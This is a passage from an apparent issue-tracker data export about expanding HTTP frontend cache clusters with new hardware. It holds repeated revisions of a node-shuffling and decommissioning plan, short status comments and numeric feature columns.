capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~

~~2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3. cp303[23] + cp304[23] -> add to upload cluster~~

4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  ~~1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
  ~~2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440723,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~

~~2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3) cp303[23] + cp304[23] -> add to upload cluster~~

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  ~~1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
  ~~2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538077,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.6,0.4,0.4,0.6,0.2,6.2,0.6,0.0,0.0,0.0,1.8,0.2,0.0,0.2,0.0,0.4,0.0,3.4,9.2,0.4,0.6,0.0,0.4,0.0,0.6,0.0,0.0,0.8,0.0,0.2,0.0,3.4,0.2,0.6,0.4,0.0,0.0,0.0,0.4,0.0,0.0,0.4,0.2,0.4,0.0,0.6,0.0,0.0,0.0,18.6,0.2,0.8,0.0,0.2,0.4,0.0,0.0,0.0,0.6,0.0,0.6,0.2,0.0,0.2,0.0,0.4,0.0,2.2,1.6,1.2,0.6,1.8,4.0,0.0,0.0,0.2,0.0,3.0,0.0,4.2,0.0,1.4,9.2,9.8,0.0,0.0,0.0,1.4,0.0,0.4,0.4,0.0,0.8,0.0,0.2,5.8,3.784,0.6300000000000001,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~

~~2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3) cp303[23] + cp304[23] -> add to upload cluster~~

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  ~~1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
  ~~2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440123,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~

~~2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3) cp303[23] + cp304[23] -> add to upload cluster~~

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428469742,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.333333333333333,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,3.0,8.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,3.0,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,0.5,0.0,0.0,0.0,16.166666666666668,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.0,0.5,1.5,3.5,0.0,0.0,0.16666666666666666,0.0,2.6666666666666665,0.0,3.3333333333333335,0.0,1.1666666666666667,8.0,8.5,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,5.333333333333333,3.752342704149933,0.6512239433926181,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~

~~2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3) cp303[23] + cp304[23] -> add to upload cluster~~

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
439669,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3) cp303[23] + cp304[23] -> add to upload cluster

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428419625,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.333333333333333,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.8333333333333335,8.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.333333333333332,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.0,0.5,1.5,3.5,0.0,0.0,0.16666666666666666,0.0,2.5,0.0,3.5,0.0,1.1666666666666667,8.0,7.666666666666667,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,6.0,3.7059990662931845,0.6532913165266107,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3) cp303[23] + cp304[23] -> add to upload cluster

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
437466,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3) cp303[23] + cp304[23] -> add to upload cluster

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3) cp3044 -> cp3017 -> cp3013 -> amssq4[78]
  4) cp3045 -> cp3018 -> cp3014 -> amssq49,50
  
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428001307,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0.6,0.4,0.4,0.6,0.2,6.2,0.6,0.0,0.0,0.0,1.6,0.2,0.0,0.2,0.0,0.4,0.0,2.6,8.8,0.4,0.4,0.0,0.4,0.0,0.4,0.0,0.0,0.8,0.0,0.2,0.0,3.0,0.2,0.6,0.4,0.0,0.0,0.0,0.4,0.0,0.0,0.4,0.2,0.6,0.0,0.6,0.0,0.0,0.0,17.4,0.2,0.6,0.0,0.2,0.4,0.0,0.0,0.0,0.6,0.0,0.6,0.2,0.0,0.2,0.0,0.2,0.0,2.2,1.6,1.2,0.4,1.8,3.8,0.0,0.0,0.2,0.0,2.6,0.2,4.0,0.0,1.4,8.8,8.6,0.0,0.0,0.0,1.4,0.0,0.2,0.4,0.0,0.6,0.0,0.2,6.8,3.7583333333333337,0.6270833333333333,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3) cp303[23] + cp304[23] -> add to upload cluster

4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3) cp3044 -> cp3017 -> cp3013 -> amssq4[78]
  4) cp3045 -> cp3018 -> cp3014 -> amssq49,50
  
5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1) cp3036 -> cp3003 -> amssq5[12]
   2) cp3037 -> cp3004 -> amssq5[34]
   3) cp3038 -> cp3005 -> amssq5[56]
   4) cp3039 -> cp3006 -> amssq5[78]
   5) cp3046 -> cp3007 -> amssq59,60
   6) cp3047 -> cp3008 -> amssq6[12]
   7) cp3048 -> cp3009
   8) cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
436962,Expand HTTP frontend clusters with new hardware,"^ Removed blocker on the 10G card upgrades.  With the current plan for how to accomplish the role migrations, this is only a ""nice-to-have"" at this point; it doesn't actually block bringing all HTTPS capacity online.",,,1427934029,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,12.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.693877551020408,0.8571428571428571,"^ Removed blocker on the 10G card upgrades.  With the current plan for how to accomplish the role migrations, this is only a ""nice-to-have"" at this point; it doesn't actually block bringing all HTTPS capacity online."
436961,Expand HTTP frontend clusters with new hardware,"^ Removed blocker on the 10G card upgrades.  With the current plan for how to accomplish the role migrations, this is only a ""nice-to-have"" at this point; it doesn't actually blocking bringing all HTTPS capacity online.",,,1427934015,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,12.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.7551020408163267,0.8571428571428571,"^ Removed blocker on the 10G card upgrades.  With the current plan for how to accomplish the role migrations, this is only a ""nice-to-have"" at this point; it doesn't actually blocking bringing all HTTPS capacity online."
436917,Expand HTTP frontend clusters with new hardware,"Now that asw-d has more capacity, the new eqiad-upload caches, cp107[1234], were repooled today and everything looks about the same as before.",,,1427929297,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-14,True,0.0,3.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.903225806451613,0.8709677419354839,"Now that asw-d has more capacity, the new eqiad-upload caches, cp107[1234], were repooled today and everything looks about the same as before."
431251,Expand HTTP frontend clusters with new hardware,"FYI, we've regressed on the minor capacity bump for eqiad-upload.  We had to depool the new machines from service over row network issues.  Now blocking on T92914 before we can try repooling them again.",,,1427145663,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,16.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.9302325581395348,0.8604651162790697,"FYI, we've regressed on the minor capacity bump for eqiad-upload.  We had to depool the new machines from service over row network issues.  Now blocking on T92914 before we can try repooling them again."
426304,Expand HTTP frontend clusters with new hardware,"note: we could potentially reduce some of the interdependent moves above by first adding the new ethernet to cp3011-cp3014, and swapping the roles of cp3015-3018 (upload -> mobile) with cp3011-cp3014 (mobile -> upload).  Then mobile is in its final config and the remaining moves/dependencies are all between text + upload.",,,1426291986,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,10.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.971014492753623,0.7101449275362319,"note: we could potentially reduce some of the interdependent moves above by first adding the new ethernet to cp3011-cp3014, and swapping the roles of cp3015-3018 (upload -> mobile) with cp3011-cp3014 (mobile -> upload).  Then mobile is in its final config and the remaining moves/dependencies are all between text + upload."
426118,Expand HTTP frontend clusters with new hardware,"note: we could potentially reduce some of the interdependent moves above by first adding the new ethernet to cp3015-cp3018, and swapping the roles of cp3015-3018 (upload -> mobile) with cp3011-cp3014 (mobile -> upload).  Then mobile is in its final config and the remaining moves/dependencies are all between text + upload.",,,1426270747,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,3.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,10.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.971014492753623,0.7246376811594203,"note: we could potentially reduce some of the interdependent moves above by first adding the new ethernet to cp3015-cp3018, and swapping the roles of cp3015-3018 (upload -> mobile) with cp3011-cp3014 (mobile -> upload).  Then mobile is in its final config and the remaining moves/dependencies are all between text + upload."
426126,Expand HTTP frontend clusters with new hardware,"(apparently disks already arrived in esams!)

esams cluster re-arrangement details:

Text cluster:
------------------
loses decommed amssq* (all of current capacity)
gains cp3003-cp3010 (8/12 of current upload cluster)
gains cp3011-cp3014 (all of current mobile cluster, which need new ethernet cards, and 3011 is currently dead with a hardware fault)
gains 4/20 of the new systems (any of cp3030 - cp3049)
